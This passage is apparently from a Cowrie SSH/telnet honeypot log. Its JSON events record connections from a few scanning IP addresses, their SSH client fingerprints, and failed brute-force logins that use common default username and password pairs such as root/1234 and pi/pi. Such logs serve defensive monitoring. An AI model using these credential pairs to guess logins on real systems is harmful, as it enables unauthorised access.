1@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:36.898678Z","src_ip":"45.156.87.253","session":"dc7de9c90b6f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234","message":"login attempt [root/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:37.145732Z","src_ip":"45.156.87.253","session":"dc7de9c90b6f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:38.229726Z","src_ip":"45.156.87.253","session":"dc7de9c90b6f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":58782,"dst_ip":"10.17.0.5","dst_port":22,"session":"aff9e9456543","protocol":"ssh","message":"New connection: 45.156.87.253:58782 (10.17.0.5:22) [session: aff9e9456543]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:40.180028Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:40.185355Z","src_ip":"45.156.87.253","session":"aff9e9456543","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:40.267599Z","src_ip":"45.156.87.253","session":"aff9e9456543","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"123456","message":"login attempt [testuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:40.516420Z","src_ip":"45.156.87.253","session":"aff9e9456543","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:41.599615Z","src_ip":"45.156.87.253","session":"aff9e9456543","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":58796,"dst_ip":"10.17.0.5","dst_port":22,"session":"246c42f09f23","protocol":"ssh","message":"New connection: 45.156.87.253:58796 (10.17.0.5:22) [session: 246c42f09f23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:43.396178Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:43.400789Z","src_ip":"45.156.87.253","session":"246c42f09f23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:43.482684Z","src_ip":"45.156.87.253","session":"246c42f09f23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"agent","password":"agent","message":"login attempt [agent/agent] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:43.729429Z","src_ip":"45.156.87.253","session":"246c42f09f23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.76605463027954,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:44.117644Z","src_ip":"115.160.92.142","session":"fee18dc39b17","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"115.160.92.142","src_port":47947,"dst_ip":"159.203.135.109","dst_port":23,"session":"9e816dd41cfd","protocol":"telnet","message":"New connection: 115.160.92.142:47947 (159.203.135.109:23) [session: 9e816dd41cfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:44.318037Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:44.910872Z","src_ip":"45.156.87.253","session":"246c42f09f23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"7ujMko0vizxv","message":"login attempt [root/7ujMko0vizxv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:45.253153Z","src_ip":"115.160.92.142","session":"9e816dd41cfd","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"lghkel\t","password":"zpz}ld\t","message":"login attempt [lghkel\t/zpz}ld\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:46.209384Z","src_ip":"115.160.92.142","session":"9e816dd41cfd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":58800,"dst_ip":"10.17.0.5","dst_port":22,"session":"44523057a409","protocol":"ssh","message":"New connection: 45.156.87.253:58800 (10.17.0.5:22) [session: 44523057a409]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:46.636820Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:46.640419Z","src_ip":"45.156.87.253","session":"44523057a409","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:46.721116Z","src_ip":"45.156.87.253","session":"44523057a409","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"123456","message":"login attempt [dmdba/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:47.034950Z","src_ip":"45.156.87.253","session":"44523057a409","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zalee\t","password":"za\t","message":"login attempt [zalee\t/za\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:47.229153Z","src_ip":"115.160.92.142","session":"9e816dd41cfd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:48.117486Z","src_ip":"45.156.87.253","session":"44523057a409","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":39890,"dst_ip":"10.17.0.5","dst_port":22,"session":"c981855cd8a3","protocol":"ssh","message":"New connection: 45.156.87.253:39890 (10.17.0.5:22) [session: c981855cd8a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:49.934856Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:49.941196Z","src_ip":"45.156.87.253","session":"c981855cd8a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:50.021819Z","src_ip":"45.156.87.253","session":"c981855cd8a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"demo","password":"demo","message":"login attempt [demo/demo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:50.264923Z","src_ip":"45.156.87.253","session":"c981855cd8a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:51.348548Z","src_ip":"45.156.87.253","session":"c981855cd8a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":39898,"dst_ip":"10.17.0.5","dst_port":22,"session":"07b4b8727fde","protocol":"ssh","message":"New connection: 45.156.87.253:39898 (10.17.0.5:22) [session: 07b4b8727fde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:53.182423Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:53.186069Z","src_ip":"45.156.87.253","session":"07b4b8727fde","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:53.266065Z","src_ip":"45.156.87.253","session":"07b4b8727fde","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dxfUgwfiNcx8","message":"login attempt [root/dxfUgwfiNcx8] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:53.509906Z","src_ip":"45.156.87.253","session":"07b4b8727fde","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:54.614998Z","src_ip":"45.156.87.253","session":"07b4b8727fde","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":39910,"dst_ip":"10.17.0.5","dst_port":22,"session":"19d7fe4f1c9b","protocol":"ssh","message":"New connection: 45.156.87.253:39910 (10.17.0.5:22) [session: 19d7fe4f1c9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:56.345195Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:56.351839Z","src_ip":"45.156.87.253","session":"19d7fe4f1c9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:56.432493Z","src_ip":"45.156.87.253","session":"19d7fe4f1c9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"pi","message":"login attempt [pi/pi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:56.678663Z","src_ip":"45.156.87.253","session":"19d7fe4f1c9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:57.762676Z","src_ip":"45.156.87.253","session":"19d7fe4f1c9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":58664,"dst_ip":"10.17.0.5","dst_port":22,"session":"4726f9961d0c","protocol":"ssh","message":"New connection: 45.156.87.253:58664 (10.17.0.5:22) [session: 4726f9961d0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:59.695211Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:59.699276Z","src_ip":"45.156.87.253","session":"4726f9961d0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:59.780199Z","src_ip":"45.156.87.253","session":"4726f9961d0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gg","password":"gg","message":"login attempt [gg/gg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:00.143182Z","src_ip":"45.156.87.253","session":"4726f9961d0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:01.227218Z","src_ip":"45.156.87.253","session":"4726f9961d0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.137","src_port":38108,"dst_ip":"10.17.0.5","dst_port":22,"session":"b7051e5efbda","protocol":"ssh","message":"New connection: 195.178.110.137:38108 (10.17.0.5:22) [session: b7051e5efbda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:02.007240Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:02.011529Z","src_ip":"195.178.110.137","session":"b7051e5efbda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.827733039855957,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:02.051090Z","src_ip":"72.167.226.244","session":"9b342f14ec6c","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256",